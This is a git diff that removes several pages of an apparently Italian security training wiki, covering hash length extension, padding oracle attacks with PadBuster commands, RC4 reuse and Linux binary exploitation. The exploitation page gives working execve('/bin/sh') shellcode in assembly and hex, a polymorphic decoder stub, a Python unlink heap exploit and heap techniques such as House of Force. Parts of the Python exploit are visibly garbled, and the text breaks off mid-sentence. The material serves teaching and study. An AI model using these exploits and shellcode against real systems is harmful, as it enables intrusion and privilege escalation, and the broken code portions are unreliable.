siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\ -Se un attaccante vuole aggiungere la stringa "append" può: - -- Generare un MD5 di 64 "A" -- Cambiare lo stato dell'hash precedentemente inizializzato a 6036708eba0d11f6ef52ad44e8b74d5b -- Aggiungere la stringa "append" -- Completare l'hash e l'hash risultante sarà un **valido per "secret" + "data" + "padding" + "append"** - -## **Strumento** - -{{#ref}} -https://github.com/iagox86/hash_extender -{{#endref}} - -## Riferimenti - -Puoi trovare questo attacco ben spiegato in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md deleted file mode 100644 index f0247c268..000000000 --- a/src/cryptography/padding-oracle-priv.md +++ /dev/null @@ -1,102 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -
- -# CBC - Cipher Block Chaining - -In modalità CBC, il **blocco crittografato precedente viene utilizzato come IV** per XORare con il blocco successivo: - -![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) - -Per decrittografare CBC, vengono eseguite le **operazioni** **opposte**: - -![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) - -Nota come sia necessario utilizzare una **chiave** di **crittografia** e un **IV**. - -# Messaggio Padding - -Poiché la crittografia viene eseguita in **blocchi** di **dimensione** **fissa**, è solitamente necessario un **padding** nell'**ultimo** **blocco** per completarne la lunghezza.\ -Di solito si utilizza **PKCS7**, che genera un padding **ripetendo** il **numero** di **byte** **necessari** per **completare** il blocco. Ad esempio, se l'ultimo blocco manca di 3 byte, il padding sarà `\x03\x03\x03`. - -Esaminiamo più esempi con **2 blocchi di lunghezza 8byte**: - -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | -| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | -| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | - -Nota come nell'ultimo esempio l'**ultimo blocco era pieno, quindi ne è stato generato un altro solo con padding**. - -# Padding Oracle - -Quando un'applicazione decrittografa dati crittografati, prima decrittografa i dati; poi rimuove il padding. Durante la pulizia del padding, se un **padding non valido attiva un comportamento rilevabile**, hai una **vulnerabilità di padding oracle**. Il comportamento rilevabile può essere un **errore**, una **mancanza di risultati** o una **risposta più lenta**. - -Se rilevi questo comportamento, puoi **decrittografare i dati crittografati** e persino **crittografare qualsiasi testo in chiaro**. - -## Come sfruttare - -Potresti utilizzare [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) per sfruttare questo tipo di vulnerabilità o semplicemente fare -``` -sudo apt-get install padbuster -``` -Per testare se il cookie di un sito è vulnerabile, potresti provare: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -``` -**Encoding 0** significa che **base64** è utilizzato (ma sono disponibili altri, controlla il menu di aiuto). - -Potresti anche **sfruttare questa vulnerabilità per crittografare nuovi dati. Ad esempio, immagina che il contenuto del cookie sia "**_**user=MyUsername**_**", quindi potresti cambiarlo in "\_user=administrator\_" e ottenere privilegi elevati all'interno dell'applicazione. Potresti anche farlo usando `paduster` specificando il parametro -plaintext**: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" -``` -Se il sito è vulnerabile, `padbuster` proverà automaticamente a trovare quando si verifica l'errore di padding, ma puoi anche indicare il messaggio di errore utilizzando il parametro **-error**. -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" -``` -## La teoria - -In **sintesi**, puoi iniziare a decrittare i dati crittografati indovinando i valori corretti che possono essere utilizzati per creare tutti i **diversi padding**. Poi, l'attacco padding oracle inizierà a decrittare i byte dalla fine all'inizio indovinando quale sarà il valore corretto che **crea un padding di 1, 2, 3, ecc**. - -![](<../images/image (629) (1) (1).png>) - -Immagina di avere del testo crittografato che occupa **2 blocchi** formati dai byte da **E0 a E15**.\ -Per **decrittare** l'**ultimo** **blocco** (**E8** a **E15**), l'intero blocco passa attraverso la "decrittazione del blocco" generando i **byte intermedi I0 a I15**.\ -Infine, ogni byte intermedio è **XORato** con i byte crittografati precedenti (E0 a E7). Quindi: - -- `C15 = D(E15) ^ E7 = I15 ^ E7` -- `C14 = I14 ^ E6` -- `C13 = I13 ^ E5` -- `C12 = I12 ^ E4` -- ... - -Ora, è possibile **modificare `E7` fino a quando `C15` è `0x01`**, che sarà anche un padding corretto. Quindi, in questo caso: `\x01 = I15 ^ E'7` - -Quindi, trovando E'7, è **possibile calcolare I15**: `I15 = 0x01 ^ E'7` - -Il che ci permette di **calcolare C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` - -Sapendo **C15**, ora è possibile **calcolare C14**, ma questa volta forzando il padding `\x02\x02`. - -Questo BF è complesso quanto il precedente poiché è possibile calcolare il `E''15` il cui valore è 0x02: `E''7 = \x02 ^ I15` quindi è solo necessario trovare il **`E'14`** che genera un **`C14` uguale a `0x02`**.\ -Poi, segui gli stessi passaggi per decrittare C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** - -**Segui questa catena fino a decrittare l'intero testo crittografato.** - -## Rilevamento della vulnerabilità - -Registrati e accedi con questo account.\ -Se **accedi molte volte** e ricevi sempre lo **stesso cookie**, probabilmente c'è **qualcosa** **sbagliato** nell'applicazione. Il **cookie restituito dovrebbe essere unico** ogni volta che accedi. Se il cookie è **sempre** lo **stesso**, probabilmente sarà sempre valido e non **ci sarà modo di invalidarlo**. - -Ora, se provi a **modificare** il **cookie**, puoi vedere che ricevi un **errore** dall'applicazione.\ -Ma se forzi il padding (usando padbuster per esempio) riesci a ottenere un altro cookie valido per un utente diverso. Questo scenario è altamente probabile che sia vulnerabile a padbuster. - -## Riferimenti - -- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - -
- -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md deleted file mode 100644 index d46cc7351..000000000 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ /dev/null @@ -1,15 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, puoi decrittografare qualsiasi contenuto crittografato da quel RC4 (utilizzando la stessa password) semplicemente usando la funzione di crittografia. - -Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos: - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/emails-vulns.md b/src/emails-vulns.md deleted file mode 100644 index 2c57229aa..000000000 --- a/src/emails-vulns.md +++ /dev/null @@ -1,9 +0,0 @@ -# Vulnerabilità delle Email - -{{#include ./banners/hacktricks-training.md}} - -## - -## - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md deleted file mode 100644 index 97882e56e..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ /dev/null @@ -1,542 +0,0 @@ -# Linux Exploiting (Basic) (SPA) - -{{#include ../../banners/hacktricks-training.md}} - -## **2.SHELLCODE** - -Ver interrompimenti del kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” - -setreuid(0,0); // \_\_NR_setreuid 70\ -execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ -exit(0); // \_\_NR_exit 1 - -xor eax, eax ; puliamo eax\ -xor ebx, ebx ; ebx = 0 poiché non ci sono argomenti da passare\ -mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Esegui syscall - -**nasm -f elf assembly.asm** —> Ci restituisce un .o\ -**ld assembly.o -o shellcodeout** —> Ci dà un eseguibile formato dal codice assembly e possiamo estrarre gli opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes - -**Controllare che la shellcode funzioni** -``` -char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” - -void main(){ -void (*fp) (void); -fp = (void *)shellcode; -fp(); -}​ -``` -Per vedere che le chiamate di sistema vengono eseguite correttamente, è necessario compilare il programma precedente e le chiamate di sistema devono apparire in **strace ./PROGRAMA_COMPILADO**. - -Quando si creano shellcode, si può fare un trucco. La prima istruzione è un jump a un call. Il call chiama il codice originale e inoltre inserisce nello stack l'EIP. Dopo l'istruzione call abbiamo inserito la stringa di cui avevamo bisogno, quindi con quell'EIP possiamo puntare alla stringa e continuare a eseguire il codice. - -EJ **TRUCCO (/bin/sh)**: -``` -jmp 0x1f ; Salto al último call -popl %esi ; Guardamos en ese la dirección al string -movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) -xorl %eax, %eax ; eax = NULL -movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh -movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh -movl $0xb, %eax ; Syscall 11 -movl %esi, %ebx ; arg1=“/bin/sh” -leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} -leal 0xc(%esi), %edx ; arg3 = NULL -int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) -xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax -inc %eax ; Syscall 1 -int $0x80 ; exit(0) -call -0x24 ; Salto a la primera instrución -.string \”/bin/sh\” ; String a usar​ -``` -**EJ usando el Stack(/bin/sh):** -``` -section .text -global _start -_start: -xor eax, eax ;Limpieza -mov al, 0x46 ; Syscall 70 -xor ebx, ebx ; arg1 = 0 -xor ecx, ecx ; arg2 = 0 -int 0x80 ; setreuid(0,0) -xor eax, eax ; eax = 0 -push eax ; “\0” -push dword 0x68732f2f ; “//sh” -push dword 0x6e69622f; “/bin” -mov ebx, esp ; arg1 = “/bin//sh\0” -push eax ; Null -> args[1] -push ebx ; “/bin/sh\0” -> args[0] -mov ecx, esp ; arg2 = args[] -mov al, 0x0b ; Syscall 11 -int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) -``` -**EJ FNSTENV:** -``` -fabs -fnstenv [esp-0x0c] -pop eax ; Guarda el EIP en el que se ejecutó fabs -… -``` -**Egg Huter:** - -Consiste in un piccolo codice che attraversa le pagine di memoria associate a un processo in cerca della shellcode lì memorizzata (cerca qualche firma presente nella shellcode). Utile nei casi in cui si ha solo un piccolo spazio per iniettare codice. - -**Shellcodes polimorfici** - -Consistono in shell cifrate che hanno un piccolo codice che le decripta e salta a esse, usando il trucco di Call-Pop questo sarebbe un **esempio cifrato cesar**: -``` -global _start -_start: -jmp short magic -init: -pop esi -xor ecx, ecx -mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) -desc: -sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) -sub cl, 1 -jnz desc -jmp short sc -magic: -call init -sc: -;Aquí va el shellcode -``` -## **5.Metodi complementari** - -**Tecnica di Murat** - -In linux tutti i programmi si mappano iniziando da 0xbfffffff - -Vedendo come si costruisce lo stack di un nuovo processo in linux si può sviluppare un exploit in modo che il programma venga avviato in un ambiente la cui unica variabile sia la shellcode. L'indirizzo di questa può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode) - -In questo modo si otterrebbe in modo semplice l'indirizzo dove si trova la variabile di ambiente con la shellcode. - -Questo è possibile grazie al fatto che la funzione execle permette di creare un ambiente che abbia solo le variabili di ambiente desiderate. - -## - -### - -### - -### - -### - -### **Format Strings to Buffer Overflows** - -Il **sprintf moves** una stringa formattata **a** una **variabile.** Pertanto, si potrebbe abusare del **formato** di una stringa per causare un **buffer overflow nella variabile** dove il contenuto viene copiato.\ -Ad esempio, il payload `%.44xAAAA` scriverà **44B+"AAAA" nella variabile**, il che potrebbe causare un buffer overflow. - -### **\_\_atexit Structures** - -> [!CAUTION] -> Oggi è molto **strano sfruttare questo**. - -**`atexit()`** è una funzione a cui **altre funzioni vengono passate come parametri.** Queste **funzioni** verranno **eseguite** quando si esegue un **`exit()`** o il **return** del **main**.\ -Se puoi **modificare** l'**indirizzo** di una di queste **funzioni** per puntare a una shellcode, ad esempio, otterrai **il controllo** del **processo**, ma attualmente questo è più complicato.\ -Attualmente gli **indirizzi delle funzioni** da eseguire sono **nascosti** dietro diverse strutture e infine l'indirizzo a cui puntano non è l'indirizzo delle funzioni, ma è **crittografato con XOR** e spostamenti con una **chiave casuale**. Quindi attualmente questo vettore di attacco non è **molto utile almeno su x86** e **x64_86**.\ -La **funzione di crittografia** è **`PTR_MANGLE`**. **Altre architetture** come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** di quanto ricevuto come input. Quindi queste architetture sarebbero attaccabili tramite questo vettore. - -### **setjmp() & longjmp()** - -> [!CAUTION] -> Oggi è molto **strano sfruttare questo**. - -**`Setjmp()`** consente di **salvare** il **contesto** (i registri)\ -**`longjmp()`** consente di **ripristinare** il **contesto**.\ -I **registri salvati** sono: `EBX, ESI, EDI, ESP, EIP, EBP`\ -Quello che succede è che EIP ed ESP vengono passati dalla funzione **`PTR_MANGLE`**, quindi le **architetture vulnerabili a questo attacco sono le stesse di sopra**.\ -Sono utili per il recupero degli errori o per le interruzioni.\ -Tuttavia, da quello che ho letto, gli altri registri non sono protetti, **quindi se c'è un `call ebx`, `call esi` o `call edi`** all'interno della funzione chiamata, il controllo può essere preso. Oppure si potrebbe anche modificare EBP per modificare ESP. - -**VTable e VPTR in C++** - -Ogni classe ha una **Vtable** che è un array di **puntatori a metodi**. - -Ogni oggetto di una **classe** ha un **VPtr** che è un **puntatore** all'array della sua classe. Il VPtr è parte dell'intestazione di ogni oggetto, quindi se si ottiene un **overwrite** del **VPtr** potrebbe essere **modificato** per **puntare** a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode. - -## **Misure preventive e evasioni** - -### - -**Sostituzione di Libsafe** - -Si attiva con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ -“/lib/libsave.so.2” > /etc/ld.so.preload - -Si intercettano le chiamate ad alcune funzioni insicure con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona in binari con suid). - -**ASCII Armored Address Space** - -Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo in realtà non ferma quasi nessun attacco, e meno in little endian. - -**ret2plt** - -Consiste nel realizzare un ROP in modo che venga chiamata la funzione strcpy@plt (dalla plt) e si punti all'entrata della GOT e si copi il primo byte della funzione che si desidera chiamare (system()). Subito dopo si fa lo stesso puntando a GOT+1 e si copia il 2º byte di system()… Alla fine si chiama l'indirizzo memorizzato in GOT che sarà system() - -**Gabbie con chroot()** - -debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base sotto un sottodirectory specifico - -Un admin può uscire da una di queste gabbie facendo: mkdir foo; chroot foo; cd .. - -**Strumentazione del codice** - -Valgrind —> Cerca errori\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 Heap Overflows: Exploits di base** - -**Blocco assegnato** - -prev_size |\ -size | —Intestazione\ -\*mem | Dati - -**Blocco libero** - -prev_size |\ -size |\ -\*fd | Ptr blocco successivo\ -\*bk | Ptr blocco precedente —Intestazione\ -\*mem | Dati - -I blocchi liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due blocchi liberi insieme (si uniscono) - -In “size” ci sono bit per indicare: Se il blocco precedente è in uso, se il blocco è stato assegnato tramite mmap() e se il blocco appartiene all'arena primaria. - -Se liberando un blocco uno dei contigui si trova libero, questi si fondono tramite la macro unlink() e si passa il nuovo blocco più grande a frontlink() per farlo inserire nel bin adeguato. - -unlink(){\ -BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk già libero prima\ -FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk già libero prima\ -FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk\ -BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk\ -} - -Pertanto, se riusciamo a modificare il P->bk con l'indirizzo di una shellcode e il P->fd con l'indirizzo a un'entrata nella GOT o DTORS meno 12 si ottiene: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode - -E così si esegue al termine del programma la shellcode. - -Inoltre, la 4º istruzione di unlink() scrive qualcosa e la shellcode deve essere riparata per questo: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8º byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e cadere in alcuni nops che portano al resto della shellcode. - -Pertanto, l'exploit si crea: - -Nel buffer1 mettiamo la shellcode iniziando con un jmp per farla cadere nei nops o nel resto della shellcode. - -Dopo la shellcode mettiamo riempimento fino a raggiungere il campo prev_size e size del blocco successivo. In questi posti mettiamo 0xfffffff0 (in modo che si sovrascriva il prev_size per avere il bit che dice che è libero) e “-4“(0xfffffffc) in size (in modo che quando controlla nel 3º blocco se il 2º era realmente libero vada al prev_size modificato che gli dirà che è libero) -> Così quando free() indaga andrà al size del 3º ma in realtà andrà al 2º - 4 e penserà che il 2º blocco è libero. E quindi chiamerà **unlink()**. - -Chiamando unlink() userà come P->fd i primi dati del 2º blocco per cui lì si metterà l'indirizzo che si vuole sovrascrivere - 12 (poiché in FD->bk gli somma 12 all'indirizzo memorizzato in FD). E in quell'indirizzo inserirà il secondo indirizzo che trova nel 2º blocco, che ci interesserà che sia l'indirizzo alla shellcode (P->bk falso). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev_size = pack("\ Restituisce un puntatore all'indirizzo dove inizia il blocco (mem-8) - -… - -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] - -… - -\_int_free(ar_ptr, mem); - -} - -In \[1] controlla il campo size il bit NON_MAIN_ARENA, il quale può essere alterato affinché il controllo restituisca true ed esegua heap_for_ptr() che fa un and a “mem” lasciando a 0 i 2.5 byte meno significativi (nel nostro caso da 0x0804a000 lascia 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info) - -In questo modo se possiamo controllare un blocco ad esempio in 0x0804a000 e si va a liberare un blocco in **0x081002a0** possiamo arrivare all'indirizzo 0x08100000 e scrivere quello che vogliamo, ad esempio **0x0804a000**. Quando questo secondo blocco viene liberato si troverà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si estrae il valore dei primi 4 byte, l'ar_ptr) - -In questo modo si chiama a \_int_free(ar_ptr, mem), cioè, **\_int_free(0x0804a000, 0x081002a0)**\ -**\_int_free(mstate av, Void_t\* mem){**\ -…\ -bck = unsorted_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ -fwd->bk = p; - -..} - -Come abbiamo visto prima possiamo controllare il valore di av, poiché è ciò che scriviamo nel blocco che si va a liberare. - -Così come è definito unsorted_chunks, sappiamo che:\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; - -Pertanto, se in av->bins\[2] scriviamo il valore di \_\_DTOR_END\_\_-12 nell'ultima istruzione si scriverà in \_\_DTOR_END\_\_ l'indirizzo del secondo blocco. - -Cioè, nel primo blocco dobbiamo mettere all'inizio molte volte l'indirizzo di \_\_DTOR_END\_\_-12 perché da lì lo estrarrà av->bins\[2] - -Nell'indirizzo in cui cadrà l'indirizzo del secondo blocco con gli ultimi 5 zeri dobbiamo scrivere l'indirizzo a questo primo blocco affinché heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo blocco e estragga da lì l'av->bins\[2] - -Nel secondo blocco e grazie al primo sovrascriviamo il prev_size con un jump 0x0c e il size con qualcosa per attivare -> NON_MAIN_ARENA - -Successivamente nel blocco 2 mettiamo un sacco di nops e infine la shellcode - -In questo modo si chiamerà a \_int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in \_\_DTOR_END\_\_ l'indirizzo del prev_size del TROZO2 che salterà alla shellcode. - -Per applicare questa tecnica è necessario che si soddisfino alcuni requisiti in più che complicano un po' di più il payload. - -Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch che per unlink. Si confrontano se il nuovo sito a cui si punta gli sta anche puntando. - -**Fastbin** - -È una variante di The house of mind - -ci interessa arrivare a eseguire il seguente codice al quale si arriva dopo la prima verifica della funzione \_int_free() - -fb = &(av->fastbins\[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2 - -… - -p->fd = \*fb - -\*fb = p - -In questo modo se si mette in “fb” dà l'indirizzo di una funzione nella GOT, in questo indirizzo si metterà l'indirizzo al blocco sovrascritto. Per questo sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente che av->max_fast sia all'indirizzo che andremo a sovrascrivere. - -Poiché con The House of Mind si è visto che noi controllavamo la posizione dell'av. - -Quindi se nel campo size mettiamo una dimensione di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() ci restituirà fastbins\[-1], che punterà a av->max_fast - -In questo caso av->max_fast sarà l'indirizzo che si sovrascriverà (non a cui punta, ma quella posizione sarà quella che si sovrascriverà). - -Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 8, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops). - -Inoltre, quel stesso blocco falso deve essere minore di av->system_mem. av->system_mem si trova 1848 byte più in là. - -A causa dei nulli di \_DTOR_END\_ e delle poche direzioni nella GOT, nessun indirizzo di queste sezioni serve per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack. - -Un'altra forma di attacco è reindirizzare l'**av** verso lo stack. - -Se modifichiamo il size per farlo diventare 16 invece di 8 allora: fastbin_index() ci restituirà fastbins\[0] e possiamo utilizzare questo per sovrascrivere lo stack. - -Per questo non deve esserci alcun canary né valori strani nello stack, infatti dobbiamo trovarci in questo: 4byte nulli + EBP + RET - -I 4 byte nulli sono necessari affinché l'**av** sia a questo indirizzo e il primo elemento di un **av** è il mutex che deve valere 0. - -L'**av->max_fast** sarà l'EBP e sarà un valore che ci servirà per saltare le restrizioni. - -Nell'**av->fastbins\[0]** si sovrascriverà con l'indirizzo di **p** e sarà il RET, così si salterà alla shellcode. - -Inoltre, in **av->system_mem** (1484byte sopra la posizione nello stack) ci sarà abbastanza spazzatura che ci permetterà di saltare il controllo che si esegue. - -Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 16, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops che vanno dopo il campo size del nuovo blocco falso). - -**The House of Spirit** - -In questo caso cerchiamo di avere un puntatore a un malloc che possa essere alterato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile). - -In questo modo, potremmo fare in modo che questo puntatore punti dove vogliamo. Tuttavia, non qualsiasi sito è valido, la dimensione del blocco falsato deve essere minore di av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Perciò, se sappiamo che dopo questo puntatore vulnerabile si chiama a malloc(40), la dimensione del blocco falso deve essere uguale a 48. - -Se ad esempio il programma chiedesse all'utente un numero potremmo inserire 48 e puntare il puntatore di malloc modificabile ai successivi 4byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem. - -Se questo viene soddisfatto, quando si chiama il successivo malloc che abbiamo detto essere malloc(40) gli verrà assegnata come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc può sovrascrivere sia l'EBP che l'EIP con l'indirizzo che desidera. - -Credo che questo sia perché così quando lo libererà free() registrerà che all'indirizzo che punta all'EBP dello stack c'è un blocco di dimensione perfetta per il nuovo malloc() che si vuole riservare, quindi gli assegna quell'indirizzo. - -**The House of Force** - -È necessario: - -- Un overflow a un blocco che consenta di sovrascrivere il wilderness -- Una chiamata a malloc() con la dimensione definita dall'utente -- Una chiamata a malloc() i cui dati possano essere definiti dall'utente - -La prima cosa da fare è sovrascrivere il size del blocco wilderness con un valore molto grande (0xffffffff), così qualsiasi richiesta di memoria sufficientemente grande sarà trattata in \_int_malloc() senza necessità di espandere l'heap - -La seconda è alterare l'av->top affinché punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top si metterà \&EIP - 8. - -Dobbiamo sovrascrivere av->top affinché punti alla zona di memoria sotto il controllo dell'attaccante: - -victim = av->top; - -remainder = chunck_at_offset(victim, nb); - -av->top = remainder; - -Victim raccoglie il valore dell'indirizzo del blocco wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se \&EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà: - -0xbffff224 - 0x080c2788 = 3086207644. - -In questo modo si memorizzerà in av->top il valore alterato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo. - -È importante sapere che il size del nuovo blocco wilderness sia più grande della richiesta effettuata dall'ultimo malloc(). Cioè, se il wilderness sta puntando a \&EIP-8, il size rimarrà proprio nel campo EBP dello stack. - -**The House of Lore** - -**Corruzione SmallBin** - -I blocchi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono memorizzati in unsorted bins. Un blocco viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se si riserva un nuovo blocco e il precedente liberato può servirgli, lo restituisce, ma se si riserva più grande, il blocco liberato in unsorted bins viene inserito nel suo bin adeguato. - -Per raggiungere il codice vulnerabile la richiesta di memoria dovrà essere maggiore di av->max_fast (72 normalmente) e minore di MIN_LARGE_SIZE (512). - -Se nei bin c'è un blocco della dimensione adeguata a ciò che si richiede, si restituisce quello dopo averlo disconnesso: - -bck = victim->bk; Punta al blocco precedente, è l'unica info che possiamo alterare. - -bin->bk = bck; Il penultimo blocco diventa l'ultimo, nel caso in cui bck punti allo stack al successivo blocco riservato verrà data questa direzione - -bck->fd = bin; Si chiude la lista facendo sì che questo punti a bin - -È necessario: - -Che si riservino due malloc, in modo che al primo si possa fare overflow dopo che il secondo sia stato liberato e inserito nel suo bin (cioè, si sia riservato un malloc superiore al secondo blocco prima di fare l'overflow) - -Che il malloc riservato al quale si dà l'indirizzo scelto dall'attaccante sia controllato dall'attaccante. - -L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto un blocco già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo blocco arriva a essere il primo della lista di bin e si riserva, a bin si ingannerà e si dirà che l'ultimo blocco della lista (il successivo a offrire) è all'indirizzo falso che abbiamo messo (allo stack o GOT per esempio). Quindi se si riserva un altro blocco e l'attaccante ha permessi su di esso, verrà dato un blocco nella posizione desiderata e potrà scriverci sopra. - -Dopo aver liberato il blocco modificato è necessario riservare un blocco maggiore di quello liberato, così il blocco modificato uscirà da unsorted bins e si inserirebbe nel suo bin. - -Una 